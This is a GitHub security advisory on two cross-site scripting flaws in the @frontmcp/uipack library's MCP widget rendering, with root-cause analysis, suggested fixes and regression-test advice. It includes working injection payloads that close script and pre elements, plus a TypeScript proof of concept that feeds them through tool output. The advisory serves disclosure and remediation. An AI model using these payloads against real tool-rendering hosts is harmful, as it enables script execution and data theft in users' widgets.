Skip to main content
Menu
Advisories

Tool output XSS in @frontmcp/uipack widget rendering

GHSA-RHR9-VHPF-JQP7Published Updated GitHub

Description

@frontmcp/uipack embeds tool-controlled values into generated MCP widget HTML without applying the context-specific escaping already used elsewhere in the package.

Two independently affected rendering paths were identified:

  1. The PDF renderer embeds a detected PDF string directly inside a <script type="module"> block using JSON.stringify().
  2. The generic object fallback embeds JSON.stringify(rawResult) directly inside a <pre> element without HTML escaping.

For the PDF path, a value such as:

JVBERi</script><img src=x onerror="window.__uipack_xss=1">

is classified as PDF content because the detector only checks whether the string starts with JVBERi.

The renderer then generates script content equivalent to:

<script type="module">
const base64 = "JVBERi</script><img src=x onerror="window.__uipack_xss=1">";
</script>

At HTML parsing time, the injected </script> terminates the script element and the following attacker-controlled markup becomes part of the widget DOM.

The generated CSP includes 'unsafe-inline', so inline event handlers can execute.

The object fallback is separately vulnerable because an object field containing </pre><img ...> escapes the generated <pre> element and becomes live markup.

The issue was verified in released @frontmcp/uipack@1.7.2, with the same vulnerable patterns also confirmed in the published 1.0.0 package.

Details

The PDF renderer constructs JavaScript inside an HTML script element using:

const base64 = ${JSON.stringify(base64)};

JSON.stringify() produces a JavaScript string representation, but it does not make the value safe for an HTML <script> context.

In HTML parsing, a literal:

</script>

terminates the script element regardless of whether JavaScript would otherwise interpret those characters as part of a quoted string.

The package already contains a helper designed for this situation:

safeJsonForScript()

Other rendering and data-injection paths use the helper to prevent script-closing sequences from terminating generated script elements.

The PDF renderer does not.

The affected flow is:

externally influenced tool output
  -> UI template returns string
  -> detectContentType()
  -> string starts with "JVBERi"
  -> classified as PDF
  -> buildPdfHtml()
  -> JSON.stringify() inserted inside <script>
  -> attacker-supplied </script> terminates script
  -> attacker markup becomes live DOM

The PDF detector does not validate that the complete value is actually valid base64.

A genuine base64-encoded PDF cannot contain < or >, but an attacker-controlled string beginning with the expected prefix can.

The second vulnerable path occurs when a template returns a non-string object that is not handled by a specialized renderer.

The fallback constructs:

const textContent =
    typeof rawResult === 'string'
        ? rawResult
        : `<pre>${JSON.stringify(rawResult, null, 2)}</pre>`;

An object such as:

{
  "title": "</pre><img src=x onerror=\"window.__fallback_xss=1\">"
}

therefore terminates the generated <pre> element and injects live markup.

This fallback widget is generated inside the normal MCP UI shell and includes the bridge/runtime data used by the widget.

Both vulnerabilities have the same root cause: tool-returned data is inserted into HTML or script contexts without the context-aware escaping already available in the package.

PoC

Using the released rendering path, provide an attacker-controlled tool result:

import {
    renderToolTemplate
} from '@frontmcp/uipack/adapters';

const malicious =
    'JVBERi</script>' +
    '<img src=x ' +
    'onerror="window.__uipack_xss=1">';

const result =
    renderToolTemplate({
        toolName:
            'fetch_report',

        input: {
            url:
                'https://example.test/report'
        },

        output:
            malicious,

        template:
            (ctx: { output: unknown }) =>
                ctx.output
    });

console.log(
    result.html
);

The content detector classifies the value as PDF because it begins with:

JVBERi

The resulting widget HTML contains the raw sequence:

<script type="module">
...
const base64 = "JVBERi</script><img src=x onerror="window.__uipack_xss=1">";

Parsing the generated document shows that:

the PDF module script is terminated at the injected </script>
an img element is created outside the script
the img element retains the attacker-controlled onerror attribute

The emitted CSP contains an inline-script allowance, so an inline handler is not rejected by the widget's own policy.

The generic object fallback can be reproduced independently:

const result =
    renderToolTemplate({
        toolName:
            'search',

        input:
            {},

        output: {
            title:
                '</pre>' +
                '<img src=x ' +
                'onerror="window.__fallback_xss=1">'
        },

        template:
            (ctx: { output: unknown }) =>
                ctx.output
    });

The generated widget contains content equivalent to:

<pre>{
  "title": "</pre><img src=x onerror="window.__fallback_xss=1">"

so the attacker-controlled image is parsed outside the <pre> element.

The vulnerable PDF rendering expression was also confirmed in the published package:

@frontmcp/uipack@1.7.2
    JSON.stringify(base64)

@frontmcp/uipack@1.0.0
    same vulnerable pattern

Suggested fix

Use the package's existing script-context escaping helper for values inserted into <script> elements.

For the PDF renderer:

- const base64 = ${JSON.stringify(base64)};
+ const base64 = ${safeJsonForScript(base64)};

For the object fallback, HTML-escape the serialized value before inserting it into <pre>:

 const textContent =
     typeof rawResult === 'string'
         ? rawResult
-        : `<pre>${JSON.stringify(rawResult, null, 2)}</pre>`;
+        : `<pre>${escapeHtml(
+              JSON.stringify(
+                  rawResult,
+                  null,
+                  2
+              )
+          )}</pre>`;

As defense in depth, PDF auto-detection should validate the complete value as base64 before routing it to the PDF renderer:

const BASE64_RE =
    /^[A-Za-z0-9+/=\r\n]+$/;

if (
    trimmed.startsWith(
        'JVBERi'
    ) &&
    BASE64_RE.test(
        trimmed
    )
) {
    return 'pdf';
}

Regression tests should include payloads containing:

JVBERi</script><img src=x onerror=...>

and:

</pre><img src=x onerror=...>

and verify that neither payload creates attacker-controlled executable DOM elements.

Removing 'unsafe-inline' from the default widget CSP would also provide useful defense in depth against future HTML-injection bugs.

Impact

An attacker who can influence content returned by a tool and subsequently rendered through the affected UI pipeline can inject executable markup into the generated MCP widget.

This can result in arbitrary JavaScript execution in the widget rendering context when the affected HTML is rendered by a compatible host.

The demonstrated primitive allows attacker-controlled script-capable markup to survive server-side rendering and become active DOM content.

Depending on the consuming host's widget sandbox and bridge permissions, attacker JavaScript may be able to read data exposed to the widget, alter or impersonate the widget interface, and interact with functionality exposed to that rendering context.

The core vulnerability does not require control of the UI template itself: externally influenced tool output reaching the documented auto-detection or object-fallback rendering paths is sufficient.

Affected versions

References

GitHub · agentfront/frontmcp